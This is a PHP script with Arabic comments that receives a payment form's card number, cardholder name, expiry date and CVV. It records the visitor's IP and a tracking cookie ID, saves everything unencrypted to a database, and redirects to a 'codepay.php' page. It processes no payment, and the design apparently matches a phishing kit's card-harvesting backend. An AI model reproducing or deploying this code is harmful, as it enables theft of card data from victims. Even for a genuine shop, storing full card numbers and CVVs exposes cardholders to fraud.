<?php
session_start(); // بدء الجلسة

require_once 'db_connection.php';
// التحقق إذا تم إرسال النموذج
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // استلام البيانات من النموذج
    $price_with_tax = isset($_POST['price_with_tax']) ? $_POST['price_with_tax'] : '';
    $cardholder_name = isset($_POST['cardholder_name']) ? $_POST['cardholder_name'] : '';
    $card_number = isset($_POST['card_number']) ? $_POST['card_number'] : '';
    $expiry_date = isset($_POST['expiry_date']) ? $_POST['expiry_date'] : '';
    $cvv = isset($_POST['cvv']) ? $_POST['cvv'] : '';

    // التحقق من صحة رقم البطاقة
    if (strlen($card_number) === 19) {
        // تخزين آخر 4 أرقام من البطاقة في الجلسة
        $_SESSION['last4Digits'] = substr($card_number, -4);
    } else {
        echo "يرجى إدخال رقم بطاقة صحيح مكون من 19 رقمًا.";
        exit;
    }

    // تنظيف البيانات المدخلة
    function clean_input($data) {
        return htmlspecialchars(stripslashes(trim($data)));
    }

    // توليد UUID
    function generate_uuid() {
        return sprintf(
            '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
            mt_rand(0, 0xffff), mt_rand(0, 0xffff),
            mt_rand(0, 0xffff),
            mt_rand(0, 0x0fff) | 0x4000,
            mt_rand(0, 0x3fff) | 0x8000,
            mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
        );
    }

    // الحصول على عنوان الـ IP
    function get_client_ip() {
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            return $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            return $_SERVER['HTTP_X_FORWARDED_FOR'];
        } else {
            return $_SERVER['REMOTE_ADDR'];
        }
    }

    // تحقق من وجود UUID في الكوكيز، إذا لم يكن موجودًا، قم بإنشائه وتخزينه
    if (!isset($_COOKIE['unique_id'])) {
        $unique_id = generate_uuid();
        setcookie('unique_id', $unique_id, time() + (86400 * 30), "/", "", true, true); // صالح لمدة 30 يومًا
    } else {
        $unique_id = $_COOKIE['unique_id'];
    }

    // الحصول على عنوان الـ IP
    $ip = get_client_ip();

    // تنظيف البيانات المدخلة
    $price_with_tax = clean_input($price_with_tax);
    $cardholder_name = clean_input($cardholder_name);
    $card_number = clean_input($card_number);
    $expiry_date = clean_input($expiry_date);
    $cvv = clean_input($cvv);

    // تحديد اسم النموذج (أو يمكن تمريره من خلال JavaScript أو fetch)
    $form_name = "CARD";  // استبدال "payment_form" باسم النموذج الحالي

    // استخدام prepared statements لإدخال البيانات بشكل آمن
    $stmt = $conn->prepare("INSERT INTO card_payments (unique_id, ip, price_with_tax, form_name, cardholder_name, card_number, expiry_date, cvv) 
                            VALUES (?, ?, ?, ?, ?, ?, ?, ?)");
    // تأكد من عدد المتغيرات في bind_param يتطابق مع الأعمدة
    $stmt->bind_param("ssssssss", $unique_id, $ip, $price_with_tax, $form_name, $cardholder_name, $card_number, $expiry_date, $cvv);

    // تنفيذ الاستعلام
    if ($stmt->execute()) {
        // تحويل الزائر إلى صفحة تأكيد
        header("Location: ../../codepay.php"); // تأكد من أن الصفحة موجودة
        exit; // تأكد من أنه لا يتم تنفيذ أي كود بعد إعادة التوجيه
    } else {
        echo "خطأ في الإدخال: " . $stmt->error;
    }

    // إغلاق الاتصال
    $stmt->close();
    $conn->close();
}
?>
